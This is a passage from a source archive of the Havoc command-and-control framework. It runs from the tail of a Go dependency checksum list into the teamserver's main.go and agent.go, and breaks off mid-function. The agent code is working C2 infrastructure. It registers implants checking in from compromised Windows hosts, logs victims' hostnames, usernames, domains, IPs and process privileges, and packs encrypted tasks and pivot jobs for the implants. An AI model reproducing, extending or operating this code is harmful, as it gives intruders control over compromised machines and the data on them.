h1:saDtZ6Pbx/0u+bgYQ3q96pZgCzfhKXGPqt7kZ72aNNg= github.com/gorilla/websocket v1.5.3/go.mod h1:YR8l580nyteQvAITg2hZ9XVh4b55+EU/adAjf1fMHhE= github.com/inconshreveable/mousetrap v1.1.0 h1:wN+x4NVGpMsO7ErUn/mUI3vEoE6Jt13X2s0bqwp9tc8= github.com/inconshreveable/mousetrap v1.1.0/go.mod h1:vpF70FUmC8bwa3OWnCshd2FqLfsEA9PFc4w1p2J65bw= github.com/json-iterator/go v1.1.12 h1:PV8peI4a0ysnczrg+LtxykD8LfKY9ML6u2jnxaEnrnM= github.com/json-iterator/go v1.1.12/go.mod h1:e30LSqwooZae/UwlEbR2852Gd8hjQvJoHmT4TnhNGBo= github.com/klauspost/cpuid/v2 v2.0.9/go.mod h1:FInQzS24/EEf25PyTYn52gqo7WaD8xa0213Md/qVLRg= github.com/klauspost/cpuid/v2 v2.2.8 h1:+StwCXwm9PdpiEkPyzBXIy+M9KUb4ODm0Zarf1kS5BM= github.com/klauspost/cpuid/v2 v2.2.8/go.mod h1:Lcz8mBdAVJIBVzewtcLocK12l3Y+JytZYpaMropDUws= github.com/knz/go-libedit v1.10.1/go.mod h1:MZTVkCWyz0oBc7JOWP3wNAzd002ZbM/5hgShxwh4x8M= github.com/kr/pretty v0.1.0 h1:L/CwN0zerZDmRFUapSPitk6f+Q3+0za1rQkzVuMiMFI= github.com/kr/pretty v0.1.0/go.mod h1:dAy3ld7l9f0ibDNOQOHHMYYIIbhfbHSm3C4ZsoJORNo= github.com/kr/pty v1.1.1/go.mod h1:pFQYn66WHrOpPYNljwOMqo10TkYh1fy3cYio2l3bCsQ= github.com/kr/text v0.1.0 h1:45sCR5RtlFHMR4UwH9sdQ5TC8v0qDQCHnXt+kaKSTVE= github.com/kr/text v0.1.0/go.mod h1:4Jbv+DJW3UT/LiOwJeYQe1efqtUx/iVham/4vfdArNI= github.com/kylelemons/godebug v1.1.0 h1:RPNrshWIDI6G2gRW9EHilWtl7Z6Sb1BR0xunSBf0SNc= github.com/kylelemons/godebug v1.1.0/go.mod h1:9/0rRGxNHcop5bhtWyNeEfOS8JIWk580+fNqagV/RAw= github.com/leodido/go-urn v1.4.0 h1:WT9HwE9SGECu3lg4d/dIA+jxlljEa1/ffXKmRjqdmIQ= github.com/leodido/go-urn v1.4.0/go.mod h1:bvxc+MVxLKB4z00jd1z+Dvzr47oO32F/QSNjSBOlFxI= github.com/mattn/go-colorable v0.1.13 h1:fFA4WZxdEF4tXPZVKMLwD8oUnCTTo08duU7wxecdEvA= github.com/mattn/go-colorable v0.1.13/go.mod h1:7S9/ev0klgBDR4GtXTXX8a3vIGJpMovkB8vQcUbaXHg= github.com/mattn/go-isatty v0.0.16/go.mod h1:kYGgaQfpe5nmfYZH+SKPsOc2e4SrIfOl2e/yFXSvRLM= github.com/mattn/go-isatty v0.0.20 h1:xfD0iDuEKnDkl03q4limB+vH+GxLEtL/jb4xVJSWWEY= github.com/mattn/go-isatty v0.0.20/go.mod h1:W+V8PltTTMOvKvAeJH7IuucS94S2C6jfK/D7dTCTo3Y= github.com/mattn/go-runewidth v0.0.9/go.mod h1:H031xJmbD/WCDINGzjvQ9THkh0rPKHF+m2gUSrubnMI= github.com/mattn/go-runewidth v0.0.16 h1:E5ScNMtiwvlvB5paMFdw9p4kSQzbXFikJ5SQO6TULQc= github.com/mattn/go-runewidth v0.0.16/go.mod h1:Jdepj2loyihRzMpdS35Xk/zdY8IAYHsh153qUoGf23w= github.com/mattn/go-sqlite3 v1.14.23 h1:gbShiuAP1W5j9UOksQ06aiiqPMxYecovVGwmTxWtuw0= github.com/mattn/go-sqlite3 v1.14.23/go.mod h1:Uh1q+B4BYcTPb+yiD3kU8Ct7aC0hY9fxUwlHK0RXw+Y= github.com/mitchellh/go-wordwrap v1.0.1 h1:TLuKupo69TCn6TQSyGxwI1EblZZEsQ0vMlAFQflz0v0= github.com/mitchellh/go-wordwrap v1.0.1/go.mod h1:R62XHJLzvMFRBbcrT7m7WgmE1eOyTSsCt+hzestvNj0= github.com/modern-go/concurrent v0.0.0-20180228061459-e0a39a4cb421/go.mod h1:6dJC0mAP4ikYIbvyc7fijjWJddQyLn8Ig3JB5CqoB9Q= github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd h1:TRLaZ9cD/w8PVh93nsPXa1VrQ6jlwL5oN8l14QlcNfg= github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd/go.mod h1:6dJC0mAP4ikYIbvyc7fijjWJddQyLn8Ig3JB5CqoB9Q= github.com/modern-go/reflect2 v1.0.2 h1:xBagoLtFs94CBntxluKeaWgTMpvLxC4ur3nMaC9Gz0M= github.com/modern-go/reflect2 v1.0.2/go.mod h1:yWuevngMOJpCy52FWWMvUC8ws7m/LJsjYzDa0/r8luk= github.com/olekukonko/tablewriter v0.0.5 h1:P2Ga83D34wi1o9J6Wh1mRuqd4mF/x/lgBS7N7AbDhec= github.com/olekukonko/tablewriter v0.0.5/go.mod h1:hPp6KlRPjbx+hW8ykQs1w3UBbZlj6HuIJcUGPhkA7kY= github.com/pelletier/go-toml/v2 v2.2.3 h1:YmeHyLY8mFWbdkNWwpr+qIL2bEqT0o95WSdkNHvL12M= github.com/pelletier/go-toml/v2 v2.2.3/go.mod h1:MfCQTFTvCcUyyvvwm1+G6H/jORL20Xlb6rzQu9GuUkc= github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= github.com/rivo/uniseg v0.2.0/go.mod h1:J6wj4VEh+S6ZtnVlnTBMWIodfgj8LQOQFoIToxlJtxc= github.com/rivo/uniseg v0.4.7 h1:WUdvkW8uEhrYfLC4ZzdpI2ztxP1I582+49Oc5Mq64VQ= github.com/rivo/uniseg v0.4.7/go.mod h1:FN3SvrM+Zdj16jyLfmOkMNblXMcoc8DfTHruCPUcx88= github.com/russross/blackfriday/v2 v2.1.0/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM= github.com/sergi/go-diff v1.2.0 h1:XU+rvMAioB0UC3q1MFrIQy4Vo5/4VsRDQQXHsEya6xQ= github.com/sergi/go-diff v1.2.0/go.mod h1:STckp+ISIX8hZLjrqAeVduY0gWCT9IjLuqbuNXdaHfM= github.com/spf13/cobra v1.8.1 h1:e5/vxKd/rZsfSJMUX1agtjeTDf+qv1/JdBF8gg5k9ZM= github.com/spf13/cobra v1.8.1/go.mod h1:wHxEcudfqmLYa8iTfL+OuZPbBZkmvliBWKIezN3kD9Y= github.com/spf13/pflag v1.0.5 h1:iy+VFUOCP1a+8yFto/drg2CJ5u0yRoB7fZw3DKv/JXA= github.com/spf13/pflag v1.0.5/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An2Bg= github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= github.com/stretchr/objx v0.4.0/go.mod h1:YvHI0jy2hoMjB+UWwv71VJQ9isScKT/TqJzVSSt89Yw= github.com/stretchr/objx v0.5.0/go.mod h1:Yh+to48EsGEfYuaHDzXPcE3xhTkx73EhmCGUpEOglKo= github.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UVUgZn+9EI= github.com/stretchr/testify v1.4.0/go.mod h1:j7eGeouHqKxXV5pUuKE4zz7dFj8WfuZ+81PSLYec5m4= github.com/stretchr/testify v1.7.0/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= github.com/stretchr/testify v1.7.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= github.com/stretchr/testify v1.8.0/go.mod h1:yNjHg4UonilssWZ8iaSj1OCr/vHnekPRkoO+kdMU+MU= github.com/stretchr/testify v1.8.1/go.mod h1:w2LPCIKwWwSfY2zedu0+kehJoqGctiVI29o6fzry7u4= github.com/stretchr/testify v1.9.0 h1:HtqpIVDClZ4nwg75+f6Lvsy/wHu+3BoSGCbBAcpTsTg= github.com/stretchr/testify v1.9.0/go.mod h1:r2ic/lqez/lEtzL7wO/rwa5dbSLXVDPFyf8C91i36aY= github.com/twitchyliquid64/golang-asm v0.15.1 h1:SU5vSMR7hnwNxj24w34ZyCi/FmDZTkS4MhqMhdFk5YI= github.com/twitchyliquid64/golang-asm v0.15.1/go.mod h1:a1lVb/DtPvCB8fslRZhAngC2+aY1QWCk3Cedj/Gdt08= github.com/ugorji/go/codec v1.2.12 h1:9LC83zGrHhuUA9l16C9AHXAqEV/2wBQ4nkvumAE65EE= github.com/ugorji/go/codec v1.2.12/go.mod h1:UNopzCgEMSXjBc6AOMqYvWC1ktqTAfzJZUZgYf6w6lg= github.com/zclconf/go-cty v1.15.0 h1:tTCRWxsexYUmtt/wVxgDClUe+uQusuI443uL6e+5sXQ= github.com/zclconf/go-cty v1.15.0/go.mod h1:VvMs5i0vgZdhYawQNq5kePSpLAoz8u1xvZgrPIxfnZE= golang.org/x/arch v0.10.0 h1:S3huipmSclq3PJMNe76NGwkBR504WFkQ5dhzWzP8ZW8= golang.org/x/arch v0.10.0/go.mod h1:FEVrYAQjsQXMVJ1nsMoVVXPZg6p2JE2mx8psSWTDQys= golang.org/x/crypto v0.27.0 h1:GXm2NjJrPaiv/h1tb2UH8QfgC/hOf/+z0p6PT8o1w7A= golang.org/x/crypto v0.27.0/go.mod h1:1Xngt8kV6Dvbssa53Ziq6Eqn0HqbZi5Z6R0ZpwQzt70= golang.org/x/image v0.20.0 h1:7cVCUjQwfL18gyBJOmYvptfSHS8Fb3YUDtfLIZ7Nbpw= golang.org/x/image v0.20.0/go.mod h1:0a88To4CYVBAHp5FXJm8o7QbUl37Vd85ply1vyD8auM= golang.org/x/net v0.29.0 h1:5ORfpBpCs4HzDYoodCDBbwHzdR5UrLBZ3sOnUJmFoHo= golang.org/x/net v0.29.0/go.mod h1:gLkgy8jTGERgjzMic6DS9+SP0ajcu6Xu3Orq/SpETg0= golang.org/x/sys v0.0.0-20220811171246-fbc7d0a398ab/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.5.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.25.0 h1:r+8e+loiHxRqhXVl6ML1nO3l1+oFoWbnlu2Ehimmi34= golang.org/x/sys v0.25.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA= golang.org/x/text v0.18.0 h1:XvMDiNzPAl0jr17s6W9lcaIhGUfUORdGCNsuLmPG224= golang.org/x/text v0.18.0/go.mod h1:BuEKDfySbSR4drPmRPG/7iBdf8hvFMuRexcpahXilzY= google.golang.org/protobuf v1.34.2 h1:6xV6lTsCfpGD21XK49h7MhtcApnLqkfYgPcdHftf6hg= google.golang.org/protobuf v1.34.2/go.mod h1:qYOHts0dSfpeUzUFpOMr/WGzszTmLH+DiWniOlNbLDw= gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= gopkg.in/check.v1 v1.0.0-20190902080502-41f04d3bba15 h1:YR8cESwS4TdDjEe65xsg0ogRM/Nc3DYOhEAlW+xobZo= gopkg.in/check.v1 v1.0.0-20190902080502-41f04d3bba15/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= gopkg.in/yaml.v2 v2.2.2/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= gopkg.in/yaml.v2 v2.2.4/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA= gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= nullprogram.com/x/optparse v1.0.0/go.mod h1:KdyPE+Igbe0jQUrVfMqDMeJQIJZEuyV7pjYmp6pbG50= havoc-0.6~git20240910.69ce17c/teamserver/main.go000066400000000000000000000002621467014221700207170ustar00rootroot00000000000000package main import "Havoc/cmd" import "Havoc/pkg/logger" func main() { err := cmd.HavocCli.Execute() if err != nil { logger.Error("Failed to execute havoc") return } } havoc-0.6~git20240910.69ce17c/teamserver/pkg/000077500000000000000000000000001467014221700202255ustar00rootroot00000000000000havoc-0.6~git20240910.69ce17c/teamserver/pkg/agent/000077500000000000000000000000001467014221700213235ustar00rootroot00000000000000havoc-0.6~git20240910.69ce17c/teamserver/pkg/agent/agent.go000066400000000000000000000747031467014221700227630ustar00rootroot00000000000000package agent import ( "bytes" "encoding/binary" //"encoding/hex" "encoding/json" "errors" "fmt" "io" "net" "os" "path/filepath" "strconv" "strings" "time" "reflect" "Havoc/pkg/common" "Havoc/pkg/common/crypt" "Havoc/pkg/common/packer" "Havoc/pkg/common/parser" "Havoc/pkg/logger" "Havoc/pkg/logr" "github.com/fatih/structs" ) func BuildPayloadMessage(Jobs []Job, AesKey []byte, AesIv []byte) []byte { var ( DataPayload []byte PayloadPackage []byte PayloadPackageSize = make([]byte, 4) RequestID = make([]byte, 4) DataCommandID = make([]byte, 4) ) for _, job := range Jobs { for i := range job.Data { switch job.Data[i].(type) { case int: var integer32 = make([]byte, 4) binary.LittleEndian.PutUint32(integer32, uint32(job.Data[i].(int))) DataPayload = append(DataPayload, integer32...) break case int64: var integer64 = make([]byte, 8) binary.LittleEndian.PutUint64(integer64, uint64(job.Data[i].(int64))) DataPayload = append(DataPayload, integer64...) break case uint64: var integer64 = make([]byte, 8) binary.LittleEndian.PutUint64(integer64, uint64(job.Data[i].(uint64))) DataPayload = append(DataPayload, integer64...) break case int32: var integer32 = make([]byte, 4) binary.LittleEndian.PutUint32(integer32, uint32(job.Data[i].(int32))) DataPayload = append(DataPayload, integer32...) break case uint32: var integer32 = make([]byte, 4) binary.LittleEndian.PutUint32(integer32, job.Data[i].(uint32)) DataPayload = append(DataPayload, integer32...) break case int16: var integer16 = make([]byte, 2) binary.LittleEndian.PutUint16(integer16, uint16(job.Data[i].(int16))) DataPayload = append(DataPayload, integer16...) break case uint16: var integer16 = make([]byte, 2) binary.LittleEndian.PutUint16(integer16, job.Data[i].(uint16)) DataPayload = append(DataPayload, integer16...) break case string: var size = make([]byte, 4) str := job.Data[i].(string) // in C, strings terminate with a null-byte if strings.HasSuffix(str, "\x00") == false { str += "\x00" } binary.LittleEndian.PutUint32(size, uint32(len(str))) DataPayload = append(DataPayload, size...) DataPayload = append(DataPayload, []byte(str)...) break case []byte: var size = make([]byte, 4) binary.LittleEndian.PutUint32(size, uint32(len(job.Data[i].([]byte)))) DataPayload = append(DataPayload, size...) DataPayload = append(DataPayload, job.Data[i].([]byte)...) break case byte: var singlebyte = make([]byte, 1) singlebyte[0] = job.Data[i].(byte) DataPayload = append(DataPayload, singlebyte...) break case bool: var boolean = make([]byte, 4) if job.Data[i].(bool) { binary.LittleEndian.PutUint32(boolean, 1) } else { binary.LittleEndian.PutUint32(boolean, 0) } DataPayload = append(DataPayload, boolean...) break default: logger.Error(fmt.Sprintf("Could not package, unknown data type: %v", job.Data[i])) } } binary.LittleEndian.PutUint32(DataCommandID, job.Command) PayloadPackage = append(PayloadPackage, DataCommandID...) binary.LittleEndian.PutUint32(RequestID, job.RequestID) PayloadPackage = append(PayloadPackage, RequestID...) binary.LittleEndian.PutUint32(PayloadPackageSize, uint32(len(DataPayload))) PayloadPackage = append(PayloadPackage, PayloadPackageSize...) if len(DataPayload) > 0 { DataPayload = crypt.XCryptBytesAES256(DataPayload, AesKey, AesIv) PayloadPackage = append(PayloadPackage, DataPayload...) DataPayload = nil } } //logger.Debug("PayloadPackage:\n", hex.Dump(PayloadPackage)) return PayloadPackage } func ParseHeader(data []byte) (Header, error) { var ( Header = Header{} Parser = parser.NewParser(data) ) if Parser.Length() > 4 { Header.Size = Parser.ParseInt32() } else { return Header, errors.New("failed to parse package size") } if Parser.Length() > 4 { Header.MagicValue = Parser.ParseInt32() } else { return Header, errors.New("failed to parse magic value") } if Parser.Length() > 4 { Header.AgentID = Parser.ParseInt32() } else { return Header, errors.New("failed to parse agent id") } Header.Data = Parser // logger.Debug(fmt.Sprintf("Header Size : %d", Header.Size)) // logger.Debug(fmt.Sprintf("Header MagicValue : %x", Header.MagicValue)) // logger.Debug(fmt.Sprintf("Header AgentID : %x", Header.AgentID)) // logger.Debug(fmt.Sprintf("Header Data : \n%v", hex.Dump(Header.Data.Buffer()))) return Header, nil } func RegisterInfoToInstance(Header Header, RegisterInfo map[string]any) *Agent { var ( agent = &Agent{ Active: false, SessionDir: "", Info: new(AgentInfo), } err error ) agent.NameID = fmt.Sprintf("%08x", Header.AgentID) agent.Info.MagicValue = Header.MagicValue if val, ok := RegisterInfo["Hostname"]; ok { agent.Info.Hostname = val.(string) } if val, ok := RegisterInfo["Username"]; ok { agent.Info.Username = val.(string) } if val, ok := RegisterInfo["Domain"]; ok { agent.Info.DomainName = val.(string) } if val, ok := RegisterInfo["InternalIP"]; ok { agent.Info.InternalIP = val.(string) } if val, ok := RegisterInfo["Process Path"]; ok { agent.Info.ProcessPath = val.(string) } if val, ok := RegisterInfo["Process Name"]; ok { agent.Info.ProcessName = val.(string) } if val, ok := RegisterInfo["Process Arch"]; ok { agent.Info.ProcessArch = val.(string) } if val, ok := RegisterInfo["Process ID"]; ok { agent.Info.ProcessPID, err = strconv.Atoi(val.(string)) if err != nil { logger.DebugError("Couldn't parse ProcessID integer from string: " + err.Error()) agent.Info.ProcessPID = 0 } } if val, ok := RegisterInfo["Process Parent ID"]; ok { agent.Info.ProcessPPID, err = strconv.Atoi(val.(string)) if err != nil { logger.DebugError("Couldn't parse ProcessPPID integer from string: " + err.Error()) agent.Info.ProcessPPID = 0 } } if val, ok := RegisterInfo["Process Elevated"]; ok { agent.Info.Elevated = "false" if val == "1" { agent.Info.Elevated = "true" } } // Updated OS Version handling if val, ok := RegisterInfo["OS Version"]; ok { // Assuming val is a string representing the OS version, split it by '.' to get the version parts versionParts := strings.Split(val.(string), ".") OsVersion := make([]int, len(versionParts)) for i, part := range versionParts { OsVersion[i], _ = strconv.Atoi(part) } agent.Info.OSVersion = getWindowsVersionString(OsVersion) } if val, ok := RegisterInfo["OS Build"]; ok { agent.Info.OSBuild = val.(string) } if val, ok := RegisterInfo["OS Arch"]; ok { agent.Info.OSArch = val.(string) } if val, ok := RegisterInfo["SleepDelay"]; ok { switch v := val.(type) { case float64: agent.Info.SleepDelay = int(v) case string: agent.Info.SleepDelay, err = strconv.Atoi(v) if err != nil { logger.DebugError("Couldn't parse SleepDelay integer from string: " + err.Error()) agent.Info.SleepDelay = 0 } default: // handle unexpected type logger.DebugError("Unexpected type for SleepDelay: " + reflect.TypeOf(v).String()) agent.Info.SleepDelay = 0 } } agent.Info.FirstCallIn = time.Now().Format("02/01/2006 15:04:05") agent.Info.LastCallIn = time.Now().Format("02-01-2006 15:04:05") agent.BackgroundCheck = false agent.Active = true return agent } func ParseDemonRegisterRequest(AgentID int, Parser *parser.Parser, ExternalIP string) *Agent { //logger.Debug("Response:\n" + hex.Dump(Parser.Buffer())) var ( MagicValue int DemonID int Hostname string DomainName string Username string InternalIP string ProcessName string ProcessPID int ProcessTID int OsVersion []int OsArch int BaseAddress int64 Elevated int ProcessArch int ProcessPPID int SleepDelay int SleepJitter int KillDate int64 WorkingHours int32 AesKeyEmpty = make([]byte, 32) ) /* [ SIZE ] 4 bytes [ Magic Value ] 4 bytes [ Agent ID ] 4 bytes [ COMMAND ID ] 4 bytes [ Request ID ] 4 bytes [ AES KEY ] 32 bytes [ AES IV ] 16 bytes AES Encrypted { [ Agent ID ] 4 bytes <-- this is needed to check if we successfully decrypted the data [ Host Name ] size + bytes [ User Name ] size + bytes [ Domain ] size + bytes [ IP Address ] 16 bytes? [ Process Name ] size + bytes [ Process ID ] 4 bytes [ Parent PID ] 4 bytes [ Process Arch ] 4 bytes [ Elevated ] 4 bytes [ Base Address ] 8 bytes [ OS Info ] ( 5 * 4 ) bytes [ OS Arch ] 4 bytes ..... more } */ if Parser.Length() >= 32+16 { var Session = &Agent{ Encryption: struct { AESKey []byte AESIv []byte }{ AESKey: Parser.ParseAtLeastBytes(32), AESIv: Parser.ParseAtLeastBytes(16), }, Active: false, SessionDir: "", Info: new(AgentInfo), } // check if there is aes key/iv. if bytes.Compare(Session.Encryption.AESKey, AesKeyEmpty) != 0 { Parser.DecryptBuffer(Session.Encryption.AESKey, Session.Encryption.AESIv) } if Parser.CanIRead([]parser.ReadType{parser.ReadInt32, parser.ReadBytes, parser.ReadBytes, parser.ReadBytes, parser.ReadBytes, parser.ReadBytes, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadInt64, parser.ReadInt32}) { DemonID = Parser.ParseInt32() logger.Debug(fmt.Sprintf("Parsed DemonID: %x", DemonID)) if AgentID != DemonID { if AgentID != 0 { logger.Debug("Failed to decrypt agent init request") return nil } } else { logger.Debug(fmt.Sprintf("AgentID (%x) == DemonID (%x)\n", AgentID, DemonID)) } Hostname = Parser.ParseString() Username = Parser.ParseString() DomainName = Parser.ParseString() InternalIP = Parser.ParseString() if ExternalIP != "" { Session.Info.ExternalIP = ExternalIP } logger.Debug(fmt.Sprintf( "\n"+ "Hostname: %v\n"+ "Username: %v\n"+ "Domain : %v\n"+ "InternIP: %v\n"+ "ExternIP: %v\n", Hostname, Username, DomainName, InternalIP, ExternalIP)) ProcessName = Parser.ParseUTF16String() ProcessPID = Parser.ParseInt32() ProcessTID = Parser.ParseInt32() ProcessPPID = Parser.ParseInt32() ProcessArch = Parser.ParseInt32() Elevated = Parser.ParseInt32() BaseAddress = Parser.ParseInt64() logger.Debug(fmt.Sprintf( "\n"+ "ProcessName : %v\n"+ "ProcessPID : %v\n"+ "ProcessTID : %v\n"+ "ProcessPPID : %v\n"+ "ProcessArch : %v\n"+ "Elevated : %v\n"+ "Base Address: 0x%x\n", ProcessName, ProcessPID, ProcessTID, ProcessPPID, ProcessArch, Elevated, BaseAddress)) OsVersion = []int{Parser.ParseInt32(), Parser.ParseInt32(), Parser.ParseInt32(), Parser.ParseInt32(), Parser.ParseInt32()} OsArch = Parser.ParseInt32() SleepDelay = Parser.ParseInt32() SleepJitter = Parser.ParseInt32() KillDate = Parser.ParseInt64() WorkingHours = int32(Parser.ParseInt32()) logger.Debug(fmt.Sprintf( "\n"+ "SleepDelay : %v\n"+ "SleepJitter : %v\n", SleepDelay, SleepJitter)) Session.Active = true Session.NameID = fmt.Sprintf("%08x", DemonID) Session.Info.MagicValue = MagicValue Session.Info.FirstCallIn = time.Now().Format("02/01/2006 15:04:05") Session.Info.LastCallIn = time.Now().Format("02-01-2006 15:04:05") Session.Info.Hostname = Hostname Session.Info.DomainName = DomainName Session.Info.Username = Username Session.Info.InternalIP = InternalIP Session.Info.SleepDelay = SleepDelay Session.Info.SleepJitter = SleepJitter Session.Info.KillDate = KillDate Session.Info.WorkingHours = WorkingHours // Session.Info.Listener = t.Name switch ProcessArch { case PROCESS_ARCH_UNKNOWN: Session.Info.ProcessArch = "Unknown" break case PROCESS_ARCH_X64: Session.Info.ProcessArch = "x64" break case PROCESS_ARCH_X86: Session.Info.ProcessArch = "x86" break case PROCESS_ARCH_IA64: Session.Info.ProcessArch = "IA64" break default: Session.Info.ProcessArch = "Unknown" break } Session.Info.OSVersion = getWindowsVersionString(OsVersion) switch OsArch { case 0: Session.Info.OSArch = "x86" case 9: Session.Info.OSArch = "x64/AMD64" case 5: Session.Info.OSArch = "ARM" case 12: Session.Info.OSArch = "ARM64" case 6: Session.Info.OSArch = "Itanium-based" default: Session.Info.OSArch = "Unknown (" + strconv.Itoa(OsArch) + ")" } Session.Info.Elevated = "false" if Elevated == 1 { Session.Info.Elevated = "true" } process := strings.Split(ProcessName, "\\") Session.Info.ProcessName = process[len(process)-1] Session.Info.ProcessPID = ProcessPID Session.Info.ProcessTID = ProcessTID Session.Info.ProcessPPID = ProcessPPID Session.Info.ProcessPath = ProcessName Session.Info.BaseAddress = BaseAddress Session.BackgroundCheck = false /*for { if Parser.Length() >= 4 { var Option = Parser.ParseInt32() switch Option { case DEMON_CHECKIN_OPTION_PIVOTS: logger.Debug("DEMON_CHECKIN_OPTION_PIVOTS") var PivotCount = Parser.ParseInt32() logger.Debug("PivotCount: ", PivotCount) for { if PivotCount == 0 { break } var ( PivotAgentID = Parser.ParseInt32() PivotPackage = Parser.ParseBytes() PivotParser = parser.NewParser(PivotPackage) PivotSession *Agent ) var ( _ = PivotParser.ParseInt32() HdrMagicValue = PivotParser.ParseInt32() _ = PivotParser.ParseInt32() _ = PivotParser.ParseInt32() ) PivotSession = ParseDemonRegisterRequest(PivotAgentID, PivotParser, RoutineFunc) if PivotSession != nil { PivotSession.Info.MagicValue = HdrMagicValue LogDemonCallback(PivotSession) RoutineFunc.AppendDemon(PivotSession) pk := RoutineFunc.EventNewDemon(PivotSession) RoutineFunc.EventAppend(pk) RoutineFunc.EventBroadcast("", pk) Session.Pivots.Links = append(Session.Pivots.Links, PivotSession) PivotSession.Pivots.Parent = Session } PivotCount-- } break } } else { break } }*/ logger.Debug("Finished parsing demon") return Session } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: REGISTER, Invalid packet", AgentID)) return nil } } else { logger.Debug(fmt.Sprintf("Agent: %x, Command: REGISTER, Invalid packet", AgentID)) return nil } } // check that the request the agent is valid func (a *Agent) IsKnownRequestID(teamserver TeamServer, RequestID uint32, CommandID uint32) bool { // some commands are always accepted because they don't follow the "send task and get response" format switch CommandID { case COMMAND_SOCKET: return true case COMMAND_PIVOT: return true } if teamserver.SendLogs() && CommandID == BEACON_OUTPUT { // if SendLogs is on, accept all BEACON_OUTPUT so that the agent can send logs return true } for i := range a.Tasks { if a.Tasks[i].RequestID == RequestID { return true } } return false } // the operator added a new request/command func (a *Agent) AddRequest(job Job) []Job { a.Tasks = append(a.Tasks, job) return a.Tasks } // after a request has been completed, we can forget about the RequestID so that it is no longer valid func (a *Agent) RequestCompleted(RequestID uint32) { for i := range a.Tasks { if a.Tasks[i].RequestID == RequestID { a.Tasks = append(a.Tasks[:i], a.Tasks[i+1:]...) break } } } func (a *Agent) AddJobToQueue(job Job) []Job { // store the RequestID a.AddRequest(job) // if it's a pivot agent then add the job to the parent if a.Pivots.Parent != nil { //logger.Debug("Prepare command for pivot demon: " + a.NameID) a.PivotAddJob(job) // if it's a direct agent add the job to the direct agent } else { a.JobQueue = append(a.JobQueue, job) } return a.JobQueue } func (a *Agent) GetQueuedJobs() []Job { var Jobs []Job var JobsSize = 0 var NumJobs = 0 // make sure we return a number of jobs that doesn't exceed DEMON_MAX_RESPONSE_LENGTH for _, job := range a.JobQueue { for i := range job.Data { switch job.Data[i].(type) { case int: JobsSize += 4 break case int64: JobsSize += 8 break case uint64: JobsSize += 8 break case int32: JobsSize += 4 break case uint32: JobsSize += 4 break case int16: JobsSize += 2 break case uint16: JobsSize += 2 break case string: JobsSize += 4 + len(job.Data[i].(string)) break case []byte: JobsSize += 4 + len(job.Data[i].([]byte)) break case byte: JobsSize += 1 break case bool: JobsSize += 4 break default: logger.Error(fmt.Sprintf("Could determine package size, unknown data type: %v", job.Data[i])) } } if JobsSize >= DEMON_MAX_RESPONSE_LENGTH { break } NumJobs++ } // if there is a very large job, send it anyways if len(a.JobQueue) > 0 && NumJobs == 0 { NumJobs = 1 } // return NumJobs and leave the rest on the JobQueue Jobs, a.JobQueue = a.JobQueue[:NumJobs], a.JobQueue[NumJobs:] return Jobs } func (a *Agent) UpdateLastCallback(Teamserver TeamServer) { a.Info.LastCallIn = time.Now().Format("02-01-2006 15:04:05") Teamserver.AgentUpdate(a) Teamserver.AgentLastTimeCalled(a.NameID, a.Info.LastCallIn, a.Info.SleepDelay, a.Info.SleepJitter, a.Info.KillDate, a.Info.WorkingHours) } func (a *Agent) PivotAddJob(job Job) { var ( Payload = BuildPayloadMessage([]Job{job}, a.Encryption.AESKey, a.Encryption.AESIv) Packer = packer.NewPacker(nil, nil) pivots *Pivots PivotJob Job AgentID int64 err error ) // core package that the end pivot receive AgentID, err = strconv.ParseInt(a.NameID, 16, 32) if err != nil { logger.Debug("Failed to convert NameID string to AgentID: " + err.Error()) return } Packer.AddInt32(int32(AgentID)) Packer.AddBytes(Payload) // add this job to pivot queue. // tho it's not going to be used besides for the task size calculator // which is going to be displayed to the operator. a.JobQueue = append(a.JobQueue, job) PivotJob = Job{ Command: COMMAND_PIVOT, Data: []interface{}{ DEMON_PIVOT_SMB_COMMAND, uint32(AgentID), Packer.Buffer(), }, } pivots = &a.Pivots // pack it up for all the parent pivots. for { if pivots.Parent.Pivots.Parent == nil { break } // create new layer package. Payload = 